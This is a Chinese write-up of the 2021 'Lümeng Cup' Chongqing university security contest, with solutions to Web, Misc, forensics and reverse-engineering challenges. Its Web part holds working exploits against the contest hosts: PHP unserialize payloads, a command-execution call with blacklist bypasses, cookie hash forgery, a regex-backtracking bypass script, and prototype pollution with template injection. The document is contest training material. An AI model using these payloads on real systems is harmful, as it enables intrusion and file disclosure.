2021年“绿盟杯”重庆市大学生信息安全竞赛-WP

 

Web

flag在哪里

打开题目直接拿到题目源码:
<?php
error_reporting(0);
class begin{
    public $file;
    public $mode;
    public $content;
    public $choice;
    public function __construct()
    {
        $this->file = "file";
        $this->content = "content";
    }
    function __wakeup()
    {
        if($this->mode=="write"){
            $this->choice= new write();
        }
        if($this->mode=="read"){
            $this->choice= new read();
        }
    }
    function __call($file,$content) {
        highlight_file($this->file);
    }
    function __destruct(){
        if($this->mode=="write"){
            $this->choice->writewritetxt($this->file,$this->content);
        }
        else{
            $this->choice->open($this->file);
        }
    }
}
class write{
    public function writewritetxt($file,$content)
    {
        $filename=$file.".txt";
        if(is_file($filename)){
            unlink($filename);
        }
        file_put_contents($filename, $content);
        echo "成功写入";
    }
}
class read{
    public $file;
    public function __construct(){
        $this->file="test.txt";
        echo "欢迎查看  ".$this->file."<br/>";
    }
    function open($filename){
        $file=$this->file;
        if(is_file($file)){
            if($file=="getflag.php"){
                die("getflag.php没东西");
                }
            else{
                highlight_file($file);
                }
        }else{
            echo "文件不存在";
        }
    }
}
function check($dis_content){
    if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
        die("hack !!!");
    }
}
$pop=$_GET['pop'];
if (isset($pop)) {
    check($pop);
    unserialize($pop);
} else {
    highlight_file("index.php");
}
?>
发现有 getflag.php 文件,尝试先读取一下该文件:
<?php
error_reporting(0);
class begin{
    public $file;
    public $mode;
    public $content;
    public $choice;
    public function __construct($obj)
    {
        $this->file = "getflag.php";
        $this->content = "content";
        $this->mode=$obj;
    }
    function __wakeup(){}
    function __call($file,$content) {
        highlight_file($this->file);
    }
    function __destruct(){}
}

$demo = new begin('');
$demo->choice=new begin('');
echo urlencode(serialize($demo));

先查看一下文件目录:
POST:a=dir&b=system

绕过过滤读取 _f_l_a_g.php 文件:
POST:a=rev ????????????&b=system

FLag:flag{sda5-vdv1-dv35-qsc-112sa}

寻宝奇兵

先查看一下源代码,发现关键代码:
<?php
if (isset($_COOKIE["users"])) {
if($_COOKIE["users"]==="explorer")
{
    die("Explorers are not welcome");
}
$hash = $_COOKIE["hash"];
$users=$_COOKIE["users"];
if($hash === md5($SECRET.$users)){
    echo "<script >alert('恭喜')</script>";
} else {
    setcookie("users", "explorer");
    setcookie("hash", md5($SECRET . "explorer"));
}
这里直接随便设置一个 users 的值,然后得到其对应的 hash 的值,替换掉 Cookie 中的这两个值,即可绕过第一层:
<?php
$SECRET="There is no treasure here";
$users="H3rmesk1t";
echo md5($SECRET.$users).PHP_EOL;
拿到第二层的关键代码,发现需要爆破随机数种子:
<?php 
session_start();
if(!isset($_SESSION['seed'])){
    $_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$pass='';
for ( $i = 0; $i < 24; $i++ ){
    $pass.=substr($table, mt_rand(0, strlen($table) - 1), 1);   
}
if(isset($_POST['password'])){
    if($pass==$_POST['password']){
        echo "<script >alert('恭喜你')</script>";
    }
}
得到随机数种子后还原一下字符串即可进入第三层:
<?php
mt_srand(0x0167cf45);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=24;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;

拿到第三层的核心代码:
<?php
function is_php($data){
    return preg_match('/[flag].*[php]/is', $data);
}
if($_POST['treasure']){
    if(is_php($_POST['treasure'])) {
        echo "<script >alert('这个不能拿走');</script>";
    } else {
        if(preg_match('/flag.php/is', $_POST['treasure'])){
           highlight_file('flag.php');
      }
    }
}
这里直接利用 pcre 回溯来绕过这里即可:
import requests
from io import BytesIO

data = {
  'treasure': BytesIO(b'flag.php' + b'a' * 1000000),
  'submit':'%E6%8F%90%E4%BA%A4'
}

res = requests.post('http://119.61.19.212:57305/treasure.php', data=data)
print(res.text)

Flag:flag{C0ngratu1aTion2-0n-gEtting-the-treAsure}

mid

发现可以进行文件包含,尝试直接包含 flag 文件:
http://119.61.19.212:57303/index.php/?1=/flag

Flag:flag{bf6d5f9cac073879c9e6a0cfb1ab0e67}

glowworm

根据提示,访问 /source 拿到题目源代码:
const express = require('express');
const bodyParser = require('body-parser')
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const FLAG = require('./config').FLAG;

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
app.use(express.urlencoded());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var glowworm=[];
var content=[];
function sha1(string) {
    return crypto.createHash("sha1").update(string).digest("hex");
}

app.get('/', (req, res) => {
    const { page } = req.query;
    if (!page) res.redirect('/?page=index');
    else res.render(page, { FLAG, 'insect': 'glowworm' });
});

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/app.js'));
});

app.post('/data', function(req, res) {
    var worm = req.body;
    content[worm.wing][worm.fire] = worm.data;
    res.end('data success')
});

app.get('/refresh', (req, res) => {
    let files = [];
    var paths = path.join(__dirname,'views/sandbox')
    if(fs.existsSync(paths)){
        files = fs.readdirSync(paths);
        files.forEach((file, index) => {
            let curPath = paths + "/" + file;
            if(fs.statSync(curPath).isFile()){
                fs.unlinkSync(curPath);
            }
        });
    }
    res.end('refresh success')
});

app.post('/', (req, res) => {
    const key = "worm";
    const { content , a, b} = req.body;

    if (!a || !b || a.length !== b.length) {
        res.send("no!!!");
        return;
    }
    if (a !== b && sha1(key + a) === sha1(key + b)) {
        if(glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2){
            if (typeof content !== 'string' || content.indexOf('FLAG') != -1) {
                res.end('ban!!!');
                return;
            }
            const filename = crypto.randomBytes(8).toString('hex');
            fs.writeFile(`${path.join('views','sandbox',filename)}.html`, content, () => {
            res.redirect(`/?page=sandbox/${filename}`);
            })
        }else{
          res.send("no no no!!!");
        }
    }else{
      res.send("no no!!!");
    }
});

app.listen(8888, '0.0.0.0');
审计代码发现主要分两个功能部分,get 方法访问 index,js 会将 FLAG 返回到指定的 html 模板,post 方法访问 index 会创建一个随机名字的 html 文件,并将 content 的内容写入生成的 html 文件中,看源码发现渲染引擎为 Handlebars,其模板语法是 {{}},考虑利用 {{}} 将 FLAG 变量渲染出来
先绕过 a,b:
POST:
{"wing":"__proto__","fire":"token1","data":"1"}

接着利用之前 data 值的 sha1 来作为 token2 进行传参:
POST:
{"a":"0","b":[0],
"content":"{{#each this}}{{this.toString}}{{/each}}"
}

接着访问得到的地址即可拿到 Flag

Flag:flag{141edb97-e345-4e49-97c2-c8275dce29b4}

serialize

直接拿到题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);

class Demo{
    public $class;
    public $user;
    public function __construct()
    {
        $this->class = "safe";
        $this->user = "ctfer";
        $context = new $this->class ($this->user);
        foreach($context as $f){
            echo $f;
        }
    }

    public function __wakeup()
    {
        $context = new $this->class ($this->user);
        foreach($context as $f){
            echo $f;
        }
    }

}
class safe{
    var $user;
    public function __construct($user)
    {
        $this->user = $user;
        echo ("hello ".$this->user);
    }
}


if(isset($_GET['data'])){
    unserialize($_GET['data']);
}
else{
    $demo=new Demo;

}
直接用 PHP 原生类来读取 flag 文件即可:
<?php
class Demo{
    public $class = 'SplFileObject';
    public $user = '/flag';
    public $check;
}
$payload = new Demo();
echo urlencode(serialize($payload));
?>

 

Misc

签到1

描述字符串base64解码
Flag:flag{c54ce9d7b4e17980dd4906d9941ed52a}

Decoder

第一部分:
压缩包有伪加密,7-zip 打开直接绕过,然后:base32 -> base58 -> base85
flag1:042f38b694
第二部分:
key 先用 Emoji 编码解码,解出来 key 为 whhjno,接着调节 rotation=36,利用 emoji-aes 解密即可
flag2:b52bff9568
第三部分:
base91 解码得到很多行 base64:
U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m
IHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmU=
LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYW5kIGludGVuZGVkIHJlY2lwaWVudCwgc3VzcGX=
Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M=
YWdlLCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFT=
aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGlzIG9mIEdyZWVrIG9yaWdpbiBhbmTgbWVhbnMgImNvbmNlYT==
bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1lYW5pbmcgImNv
dmVyZWQgb3IgdHJvdGVjdGVkIiwgYW5kIGdyYXBoZWluIG1lYW5pbmdgInRvIHd=
cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRlZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9o
YW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RlZ2Fub2dyYXBoaWEsIGEgdHJlYd==
dGlzZSBvbiBjcnl5dG9ncmF5aHkgYW5kIHN0ZWdhbm9ncmF5aHkgZGlzZ5==
dWlzZWQgYXOgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3O=
YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRp
Y2xlcywgc2hvcHBpbmcgbGlzdHMsIG9yIHNvbWUgb3Q=
aGVyIGNvdmVydGV4dCBhbmQsIGNsYXNzaWNhbGx5LCB0aGUgaGlnZGVuIG1lc3NhZ2UgbWF5IGJlIGluIGludmn=
c2libGUgaW5rIGJldHdlZW4gdGhlIHZpc2libGUgbGluZXMgb2YgYSBwcml2YXRlIGxldHRlci4=
VGhlIGFkdmFudGFnZSBvZiBzdGVnYW5v是Z3JhcGh5LCBvdmVyIGNy
eXB0b2dyYXBoeSBhbG9uZSwgaXMgdGhhdCBtZXNzYWdlcyBkbyBub3QgYXR0cmFjdCBhdHRlbnRpb26=
IHRvIHRoZW1zZWx2ZXMuIFBsYWlubHkgdmlzaWJsZSBlbmNyeXB0ZWQgbWVzc2FnZXPogbRubyBtYXR0ZXIg
aG93IHVuYnJlYWthYmxl6IG0d2lsbCBhcm91c2Ugcz==
dXNwaWNpb24sIGFuZCBtYXkgaW4gdGhlbXNlbHZlcyBiZSBpbmNyaW1pbmF0aW5nIG==
aW4gY291bnRyaWVzIHdoZXJlIGVuY3J5cHRpb24gaXMgaWxsZWdhbC4gVGhlcmVmb3JlLD==
IHdoZXJlYXMnY3J5cHRvZ3JhcGh5IHByb3RlY3RzIHRoZSBjb250ZW50cyBvZn==
IGEgbWVzc2FnZSwgc3RlZ2Fub2dyYXBoeSBjYW4gYmUgc2FpZCB0byBwcm90ZWN0IGI=
b3RoIG1lc3NhZ2VzIGFuZCBjb21tdW5pY2F0aW5nIHBhcnRpZXMu
U3RlZ2Fub2dyYXBoeSBpbmNsdWRlcyD=
dGhlIGNvbmNlYWxtZW51IG9mIGluZm9ybWF1aW9uIHdpdGhpbiBjb21=
cHV0ZXIgZmlsZXMuIEluIGRpZ2l0YWwgc3RlZ2Fub2dyYXBoeSwgZWxlY3Ryb25pYyBjb21tdW5pY2F0aW9u
cyBtYXkgaW5jbHVkZSBzdGVnYW5vZ3JhcGhpYyBjb2RpbmcgaW5zaQ==
ZGUgb2YgYSB0cmFuc3BvcnQgbGF5ZXIsIHN1Y2ggYXMgYSBkb2N1bWVudCBmaWxlLCBpbWFnZSBmaWz=
ZSwgcHJvZ3JhbSBvciBwcm90b2NvbC4gTWVkaWEg
ZmlsZXMgYXJlIGlkZWFsIGZvciBzdGVnYW5vZ3JhcGhpYyB0cmFuc21pc3Npb3==
biBiZWNhdXNlIG9mIHRoZWlyIGxhcmdlIHNpemUuIEFzID==
YSBzaW1wbGUgZXhhbXBsZSwgYSBzZW5kZXIgbWlnaHQgc3RhcnQgd2l0aCBh
biBpbm5vY3VvdXMgaW1hZ2UgZmlsZSBhbmQgYWRqdXN0IHRoZSBjb2xvciBvZiBldmVyeSAxMDB0aCBwaXhlbCA=
dG8gY29ycmVzcG9uZCB0byBhIGxldHRlciBpbiB0aGUgYWxwaGFiZXQsIGG=
IGNoYW5nZSBzbyBzdWJ0bGUgdGhhdCBzb21lb25lIG5vdCBzcGVjaWZpY2FsbHkgbG9va2luZyBm
b3IjaXQjaXMjdW5saWtlbHkjdG8jbm90aWNlIGl0Lj==
VGhlJGZpcnN0JHJlY29yZGVkJHVzZXMgb2Ygc3RlZ2Fub2dyYXBoeSBjYW4gYmUgdHJ=
YWNlZCBiYWNrIHRvIDQ0MCBCQyB3aGVuIEhlcm9kb3R1cyBtZW50aW9ucyB0d28gZXhhbXBsZXMgb0==
ZiBzdGVnYW5vZ3JhcGh5IGluIFRoZSBIaXN0b3JpZXMgb2Yg
SGVyb2RvdHVzLiBEZW1hcmF0dXMgc2VudCBhIHdhcm5pbmcgYWJvdXQgYSD=
Zm9ydGhjb21pbmcgYXR0YWNrIHRvIEdyZWVjZSBieSB3
cml0aW5nIGl0IGRpcmVjdGx5IG9uIHRoZSB3b29kZW4gYmFja2luZyBvZiBhIHdheCB0YWJsZXQgYmVm
b3JlIGFwcGx5aW5nIGl0cyBiZWVzd2F4IHN1cmZhY2UuIFdheCB0YWJsZXRzIHdlcmUgaW4gY29tbW9uIHVzZR==
IHRoZW4gYXMgcmV1c2FibGUgd3JpdGluZyBzdXJmYWNlcywgc29tZXRpbWU=
c3VzZWQgZm9yIHNob3J0aGFuZC4gQW5vdGhlciBhbmNpZW50IGV4YW1wbGUgaXMgdGhhdCBv
Zkhpc3RpYWV1cywgd2hvIHNoYXZlZCB0aGUgaGVhZCBvZiBoaXPgbW9zdCB0cnVzdGVkIHP=
bGF2ZSBhbmQgdGF0dG9vZWQgYSBtZXNzYWdlIG9uIGl0LiBBZnRlciBoaXMgaGFpciBoYWQgZ2==
cm93biB0aGUgbWVzc2FnZSB3YXMgaGlkZGVuLiBUaGUgcHVycG9zZSB3YXMgdG8=
aW5zdGlnYXRlIGEgcmV2b2x0IGFnYWluc3QgdGhlIFBlcnNpYW5zLg==
U3RlZ2Fub2dyYXBoeSBoYXMgYmVlbiB3aWRlbHkgdXNlZCwg
aW5jbHVkaW5nIGluIHJlY2VudCBoaXN0b3JpY2FsIHRpbWVzIGFuZCB0
aGUgcHJlc2VudCBkYXkuIFBvc3NpYmxlIHBlcm11dGF0aW9ucyBhcmUgZW5kbGVzcyBhbmQ=
a25vd24gZXhhbXBsZXMgaW5jbHVkZTo=
SGlkZGVuIG1lc3NhZ2VzIHdpdGhpbiB3YXggdGE=
YmxldHM6IGluIGFuY2llbnQgR3JlZWNlLCBwZW9wbGUgd3JvdGUgbWU=
c3NhZ2VzIG9uIHRoZSB3b29kLCB0aGV是uIGNvdmVyZWQgaXQgd2l0aCB3YXggdXBvbiB3aGljaCBhbiBpbm5vY2Vu
dCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVu
SGlkZGVuIG1lc3NhZ2VzIG9uIG1lc3NlbmdlcidzIGJvZHk6IGFsc28gdXNlZCBpbiBhbmNpZW4=
用 base64 隐写脚本提取即可:
#!/usr/bin/env python
import re

path = 'flag3.txt'
b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open(path, 'r')as f:
    cipher = [i.strip() for i in f.readlines()]
plaintext = ''
for i in cipher:
    if i[-2] == '=':  # There are 4-bit hidden info while end with two '='
        bin_message = bin(b64char.index(i[-3]))[2:].zfill(4)
        plaintext += bin_message[-4:]
    elif i[-1] == '=':  # There are 2-bit hidden info while end with one '='
        bin_message = bin(b64char.index(i[-2]))[2:].zfill(2)
        plaintext += bin_message[-2:]
plaintext = re.findall('.{8}', plaintext)  # 8bits/group
plaintext = ''.join([chr(int(i,2)) for i in plaintext])
print(plaintext)

flag3:37f267472516
Flag:flag{042f38b694b52bff956837f267472516}

huahua

huahua.zip 少文件头,补上后解压得到的 png 缺文件头;
修补后尝试打开,发现 CRC 不对,使用其他忽略 CRC 的图片查看器打开发现少了一截,猜测是高被修改了;
将高度修改大一点后成功拿到 flag

Flag:flag{b3afc91a8fbb6cc798bdebb253b02550}

noise

打开压缩包,查看文件类型发现 out 为 wav 音频格式,直接利用 audacity 打开看频谱,稍微调整一下设置后即可看得清楚 flag

Flag:flag{98ce526ad52c409763405847185d9c6c}

DdDdDd

流量包直接提取HTTP对象,其中一个 .gcode 文件较大,经搜索为打印机控制语言,直接用在线工具:https://gcode.ws/ 一把梭

Flag:flag{2fc07441-fd87-4e1c-9f0f-72aa8c984a}

Forensic

内存镜像先用 volatility 查看 imageinfo,发现是 win7 的内存;
接着利用 filescan 导出文件列表,通过搜索 flag 搜索到 flag.docx 文件,再进行提取
python2 vol.py -f data.raw --profile=Win7SP1x64 dumpfiles --dump-dir . -Q 0x000000007d1a0d10
提取出来直接当作 zip 打开,查看 document.xml 文件,发现隐藏字符串:ZmxhZ3s5MDE3Y2VmMjZhMDdiZWI0ZTY2OWE0YTgwNmJjZDliNn0=,base64 解码即可拿到 flag

Flag:flag{9017cef26a07beb4e669a4a806bcd9b6}

隐藏的数据

zip 伪加密直接用 7-zip 绕过,其中 key.docx 当作压缩包解压后看 xml 文件,文件末尾有隐藏字符串

flag.zip 直接解压得 flag,还是 zip 文件;
尝试用此密码解压 zip 文件,发现无法打开,尝试 John 暴力破解成功拿到密码:0546

解压后又得到 flag,但是还是 zip 文件,这里采用之前隐藏字符串给出的密码:$Th1S_1S_P@SSW0Rd#####,解压得到 flag_not_here.docx 文件;
当作压缩包查看 xml,在接近末尾处找到 flag

Flag:flag{4de41c0b106051b30cb3c654901b1b06}

something in picture

这道题是今年强网杯的原题,这里直接贴大师傅的题解啦:https://zhuanlan.zhihu.com/p/381863924
Flag:flag{D1mEn5i0nAl_Pr061em}

 

Reverse

re1

TEA 算法,但需要注意每次 key 都会变
#include <windows.h>
#include "TEA.h"
#include "XTEA.h"
unsigned char enc[] =
{
  0xD1, 0x5F, 0x50, 0x67, 0xA0, 0x6A, 0xDB, 0xBC, 0xE4, 0x5E,
  0x6B, 0x8D, 0x12, 0xF2, 0x5B, 0x78, 0xC2, 0xB3, 0xE4, 0xC6,
  0x58, 0x46, 0x80, 0x39
};
unsigned int key[4] = { 0x1060308, 0x50E070F, 0xA0B0C0D, 0xDEADBEEF };
int main()
{
    for (int i = 0; i <= 3; ++i)
        key[i] += i;
    TEA_decrypt((uint32_t*)(enc), key);
    for (int i = 0; i <= 3; ++i)
        key[i] += i;
    XTEA_decipher(32, (uint32_t*)(enc + 8), key);

    for (int i = 0; i <= 3; ++i)
        key[i] += i;
    XTEA_decipher(32, (uint32_t*)(enc + 16), key);

    printf("%s",enc);
    for (int i = 0;i<6;i++){
        for (int j = 0;j<4;j++){
            printf("%02x", enc[4 * i + (3 - j)]);
        }
    }
    puts("");
    for(int i = 0;i<24;i++){
        printf("%02x", enc[i]);
    }
}

re2

换表 base64 题
import base64
import string

str1 = "BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30="

string1 = "RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

re4

ida7.6 打开后,在函数列表找到 main_main 函数定位到主逻辑;
对 main_main 函数分析,可以知道,输入的字符串由 @#$% 四个字符组成,且每个字符对应一种操作;
这些操作有一个共同点:它们都要先找到数组里的 -1 的位置,再根据这个位置把 -1 前移或后移,操作的数组有 16 个元素,最后要求这个数组要从小到大排好序;
如果把长 16 的数组看作 4x4 的话,就不难看出这就是一个 16 格的拼图,其中 -1 为空位,上述 4 个操作正好对应上下左右移动;
这里直接在网上搜索寻找到了一个拼图的算法:
#include <iostream>
#include <cstdio>
#include <cmath>
#include <string>
#include <algorithm>
#include <cassert>
using namespace std;
#define N 4
#define N2 16
#define LIMIT 1000                                   //代表你设置的最大限度
int MDT[N2][N2];                                    //代表所有节点的曼哈顿距离数组
static const int dx[4] = { 0,-1,0,1 };              //方向数组
static const int dy[4] = { 1,0,-1,0 };              //方向数组
static const char dir[4] = { '%','@','$','#' };     //代表移动的标识,当搜索到最优解时,通常通过移动的标识长度来计算步数,同时也可以根据该标识来从输入的拼图推出最终的拼图。(r为向右,l为向左,u为向上,d为向下)
struct Puzzle {                                     //代表拼图的结构体
    int f[N2];                                      //代表当前的拼图
    int space;                                      //代表空位的下标(或者说是0拼图下标)
    int MD;                                         //代表当前拼图的曼哈顿距离
};
Puzzle state;                                       //声明一个拼图(用处之后再说)
int limit;                                          //代表最小成本的变量limit,也是IDA*中不断增加的限制值,在本题中起始值通常为输入拼图的曼哈顿距离,限制值一直增加到你设定的最大值LIMIT为止。若你的限定值limit在增加时超过了最大值,但还是没有搜索出结果的话,结果就为unsolvable
int path[LIMIT];                                    //代表存储搜索到的路径数组。(也就是说,当你找到了从输入拼图到最终拼图的最短路径,那么在本题中这个路径会以一串移动的标识来显示。决定移动标识的下标值就会存储在这个路径数组中。

int getAllMD(Puzzle pz)                             //代表求出输入拼图的曼哈顿距离的函数
{
    int sum = 0;                                    //代表各个拼图的曼哈顿距离之和就为输入拼图的曼哈顿距离
    for (int i = 0; i < N2; i++)
    {
        if (pz.f[i] == N2)                          //如果进行遍历的拼图为空位,那么就直接进行返回。因为空位不算拼图,因此没有曼哈顿距离
        {
            continue;                              
        }
        sum += MDT[i][pz.f[i] - 1];                 //通过这个式子来算出各个拼图的曼哈顿距离,并进行相加
    }
    return sum;                                     //返回输入拼图的曼哈顿距离
}

bool isSolved() {                                   //这个isSolved函数就是代表检测输入的拼图是否能有还原到最终拼图的可能。
    for (int i = 0; i < N2; i++)
    {
        if (state.f[i] != i + 1)                    //判断移动之后的各个拼图跟最终的各个拼图相比是否一样
        {
            return false;                           //如果有一个拼图不一样,则移动之后的拼图跟最终拼图肯定就不一样了
        }
    }
    return true;                                    //如果拼图都一样,则移动之后的拼图跟最终拼图也就一样了。
}

bool dfs(int depth, int prev)                                          //代表dfs函数,其中depth代表当前深度,prev代表进行传入的移动下标(r)
{
    if (state.MD == 0)                                                 //如果刚开始搜索时曼哈顿距离就为0,则代表输入拼图=最终拼图,那么不用向下遍历,直接返回true
    {
        return true;
    }
    if (depth + state.MD > limit)                                      //如果当前的搜索深度+当前拼图的启发值(曼哈顿距离) 大于 限制深度的话,我们就要对其进行剪枝,禁止dfs再向下搜索。
    {
        return false;        
    }
    int sx = state.space / N;                                          //根据这个式子来求出当前所在的坐标(sx,sy),老实说我也没明白这个式子是什么意思,但是我们可以暂时理解为就是当前空位的下标,之后我们要对这个空位来进行移动,从而得到拼图的不同情况。
    int sy = state.space % N;
    Puzzle tmp;                                                        //声明拼图tmp
    for (int r = 0; r < 4; r++)
    {
        int tx = sx + dx[r];                                           //将当前空位进行上下左右四个方向的移动,得到新坐标(tx,ty)
        int ty = sy + dy[r];
        if (tx < 0 || ty < 0 || tx >= N || ty >= N)                    //如果移动的下标要是越界的话,就直接进行返回
        {
            continue;
        }
        if (max(prev, r) - min(prev, r) == 2)                          //这个式子非常重要,虽说我是不知道它怎么来的,但是这个式子的意思是避免重复的搜索,如果有重复的搜索就直接返回。(例如:我将输入拼图中的8向右移动了一次,那么拼图为:1 2 3 4 6 7 16 8 5 10 11 12 9 13 14 15。将移动之后的地图进行再次的dfs,那么再次dfs的话,就有可能出现将8再向左移动一位的情况。向左移动一位的话,拼图就又变回去了(1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15)。所以,为了防止这个情况的发生,有了这个式子。(不信的话可以打个断点,试一下就知道了。)
        {
            continue;
        }
        tmp = state;                                                   //将temp地图等于state拼图
        state.MD -= MDT[tx * N + ty][state.f[tx * N + ty] - 1];        //代表进行拼图的移动时,有没有因为这个拼图的移动导致原先的曼哈顿距离减少。典型的例子就是将拼图移动到了规定的位置中(这里规定的位置指某块拼图在终点拼图的位置)。并且,这段话的意思就是计算移动后的新拼图的曼哈顿距离
        state.MD += MDT[sx * N + sy][state.f[tx * N + ty] - 1];        //代表进行拼图的移动时,有没有因为这个拼图的移动导致原先的曼哈顿距离增加。典型的例子就是某块拼图移动到了规定的位置更远处。(举个例子:例如我将输入拼图1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15 中的4向下移动,那么原先的曼哈顿距离就会加1。(因为4向下移动并没有将原来的曼哈顿距离减少,因为除4之外的拼图都没有进行移动。而4向下移动就会让4脱离原先正确的位置,使原先的曼哈顿距离加了1)
        swap(state.f[tx * N + ty], state.f[sx * N + sy]);              //代表进行拼图的移动,并生成新拼图state
        state.space = tx * N + ty;                                     //重新计算新拼图的空位下标
        if (dfs(depth + 1, r))                                         //生成新拼图后向下继续搜索
        {
            path[depth] = r;                                           //如果搜索成功,那么就将最短步数中的每一步都记录在path数组中。r代表移动的具体方向下标。depth代表当前遍历的深度。其实就是第几步的意思。(例如:path[5] = 2,就代表第5步向左移动的意思,同时对应着移动标识的'l')
            return true;                                               //代表搜索成功,返回上一层
        }
        state = tmp;                                                   //如果在这个拼图的移动中,搜索没成功的话,那么就将当前移动之后的拼图回溯到之前没有进行移动过的状态,并尝试进行下一方向的移动。
    }
    return false;                                                      //如果四个方向搜索均没有成功的话,那么就代表当前限制深度(limit)中无解,需要在下一个限制深度(limit+1)中重新进行dfs。
}

string iterative_deepening(Puzzle in)                    //代表进行IDA*搜索的函数
{
    in.MD = getAllMD(in);                                //计算输入拼图的启发值,同时也是输入拼图的曼哈顿距离
    for (limit = in.MD; limit <= LIMIT; limit++)         //进行迭代加深搜索的循环,起始限制值为输入拼图的曼哈顿距离(启发值),通过不断搜索增加限制值,实其让dfs具有bfs的功能。直到限制值增大到最大值(LIMIT)+1为止。如果限制值一直到最大值+1的期间都没有搜索到结果,则整个IDA*也就无法找到结果。
    {
        state = in;                                      //把输入拼图赋值到state拼图中
        if (dfs(0, -100))                                //进行dfs搜索(实际上IDA*就是比dfs增加了最大搜索深度(限制值limit),通过这个最大搜索深度,我们就能让dfs具有bfs的功能,但代价是每次循环(加大深度时)都得需要将之前搜索过的深度再次搜索一遍)。除了这个之外,就跟普通的dfs没有什么区别。
        {
            string ans = "";                             //声明移动的标识(当dfs找到最短路径时(dfs的返回值为true))
            for (int i = 0; i < limit; i++)              //如果找到了最短步数,那么这个最短步数的值一定等于当前的限制深度(limit),因为初始limit变量值为输入地图的曼哈顿距离。(那也就代表了当前拼图至少得移动limit步才能移动到最终的拼图)因为每增加一层深度,就代表多走一个步数,因此若搜索出来了最短步数,那么这个最短步数一定跟当前的限制深度相等。
            {
                ans += dir[path[i]];                     //根据遍历的下标(i)求出移动标识的下标(path[i]),根据移动标识的下标求出移动标识(dir[path[i]])
            }
            return ans;                                  //返回移动的标识
        }
    }
    return "unsolvable";                                 //如果说一直加深的限定值超过了最大值但还是没有搜索到结果,那么就返回unsolvable
}
int main()
{
    int i, j;
    for (i = 0; i < N2; i++)
    {
        for (j = 0; j < N2; j++)
        {
            MDT[i][j] = abs(i / N - j / N) + abs(i % N - j % N);      //根据这个式子来计算所有拼图(0-15)分别在所有位置(0-15)上的曼哈顿距离(PS:这个式子是怎么得到的,本人也不是太清楚。不得不说,想出这个式子的人真的很厉害!)
        }
    }
    Puzzle in;                                                        //声明一个拼图(输入拼图)
    for (i = 0; i < N2; i++)
    {
        cin >> in.f[i];                                               //进行拼图的输入
        if (in.f[i] == 0)                                             //如果输入的是空位(0拼图)
        {
            in.f[i] = N2;                                             //将这个空位的值标识为16(则整个拼图为:1-16 其中,16为空位置)
            in.space = i;                                             //记录一下空位的位置(下标值)
        }
    }
    string  ans = iterative_deepening(in);                            //进行IDA*搜索,其中ans代表移动的标识(为一串字母)
    cout << ans << endl;                                       //计算标识长度(就是输入拼图还原到原拼图的最短步数)

    return 0;
}
代码执行结果:
5 1 0 2 9 6 3 8 13 15 10 11 14 4 7 12
%#$#$#%@$#$@@%%#$@$@%%#%@$##%#
使用原程序运行验证通过,但是这道题是道多解题,最后的答案不唯一

Flag:flag{75eee856b02b3714d07007bb93bff20d}

re5

一开始看 main 函数 F5 不出来,调试后发现一个故意的除 0 错误,定位到逻辑:
int sub_415250()
{
  size_t v0; // eax
  FARPROC ProcAddress; // [esp+ECh] [ebp-78h]
  size_t i; // [esp+F8h] [ebp-6Ch]
  LPCSTR lpProcName; // [esp+104h] [ebp-60h]
  char Str[36]; // [esp+110h] [ebp-54h] BYREF
  HMODULE hModule; // [esp+134h] [ebp-30h]
  int v7; // [esp+140h] [ebp-24h]
  CPPEH_RECORD ms_exc; // [esp+14Ch] [ebp-18h]

  v7 = 1;
  hModule = LoadLibraryW(L"Kernel32.dll");
  if ( !hModule )
    ExitProcess(0);
  qmemcpy(Str, &byte_419B78, 0x1Cu);
  v0 = j_strlen(Str);
  lpProcName = (LPCSTR)malloc(v0);
  for ( i = 0; i < j_strlen(Str); ++i )
    lpProcName[i] = Str[i] - 122;
  *((_BYTE *)lpProcName + 27) = 0;
  ProcAddress = GetProcAddress(hModule, lpProcName);
  if ( !ProcAddress )
    ExitProcess(0);
  ((void (__stdcall *)(int (__stdcall *)(int)))ProcAddress)(sub_411177);
  ms_exc.registration.TryLevel = -2;
  return 0;
}
